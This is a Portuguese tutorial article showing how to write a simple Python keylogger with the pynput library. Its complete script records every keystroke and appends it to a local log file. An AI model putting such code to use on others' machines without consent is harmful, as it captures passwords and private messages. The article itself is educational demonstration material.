Como criar um keylogger em Python
Neste artigo aprenderemos como criar um keylogger simples usando Python. O código foi testado em sistema operacional GNU/Linux, mas acredito que funcione nas demais plataformas.
[ Hits: 47.569 ]
Por: Fábio Berbert de Paula em 04/01/2019 | Blog: https://fabio.automatizando.dev
keydata = keydata.replace("'", "")
translate_keys = { "Key.space": " ", "Key.shift_r": "", "Key.shift_l": "", "Key.enter": "\n", "Key.alt": "", "Key.esc": "", "Key.cmd": "", "Key.caps_lock": "", }
for key in translate_keys: #key recebe a chave do dicionário translate_keys #substituir a chave (key) pelo seu valor (translate_keys[key]) keydata = keydata.replace(key, translate_keys[key])
#em pynput, importar o método Listener do teclado from pynput.keyboard import Listener #definir a localização do arquivo de log logFile = "/home/fabio/python/keylogger/log.txt" def writeLog(key): ''' Esta função será responsável por receber a tecla pressionada via Listener e escrever no arquivo de log ''' #dicionário com as teclas a serem traduzidas translate_keys = { "Key.space": " ", "Key.shift_r": "", "Key.shift_l": "", "Key.enter": "\n", "Key.alt": "", "Key.esc": "", "Key.cmd": "", "Key.caps_lock": "", } #converter a tecla pressionada para string keydata = str(key) #remover as asplas simples que delimitam os caracteres keydata = keydata.replace("'", "") for key in translate_keys: #key recebe a chave do dicionário translate_keys #substituir a chave (key) pelo seu valor (translate_keys[key]) keydata = keydata.replace(key, translate_keys[key]) #abrir o arquivo de log no modo append with open(logFile, "a") as f: f.write(keydata) #abrir o Listener do teclado e escutar o evento on_press #quando o evento on_press ocorrer, chamar a função writeLog with Listener(on_press=writeLog) as l: l.join()
Utilizando o Buffer de Gravação no Editor Vim
Criando um painel de rede em PHP
Sorteio de camisetas promovido pela GeekWorld
Instalando um sistema tradutor de línguas no seu Linux
Alimentando Desktopcouch com Zeitgeist
Redes definidas por Software com Mininet e POX - Criando meu primeiro Controlador
Qu1cksc0pe - All-in-One Static Malware Analysis Tool
Clicador automático de Tinder com Python
Trabalhando com permutações em ordem lexicográfica crescente
Passkeys: A Evolução da Autenticação Digital
Instalação de distro Linux em computadores, netbooks, etc, em rede com o Clonezilla
Título: Descobrindo o IP externo da VPN no Linux
Armazenando a senha de sua carteira Bitcoin de forma segura no Linux
Enviar mensagem ao usuário trabalhando com as opções do php.ini
Instalando Brave Browser no Linux Mint 22
vídeo pra quem quer saber como funciona Proteção de Memória:
Encontre seus arquivos facilmente com o Drill
Mouse Logitech MX Ergo Advanced Wireless Trackball no Linux
Compartilhamento de Rede com samba em modo Público/Anônimo de forma simples, rápido e fácil
Remoção de propaganda com o programa Comskip[AJUDA] (2)
Linux Lite Demorando Muito Para Ligar (0)
PC não liga no filtro de linha (3)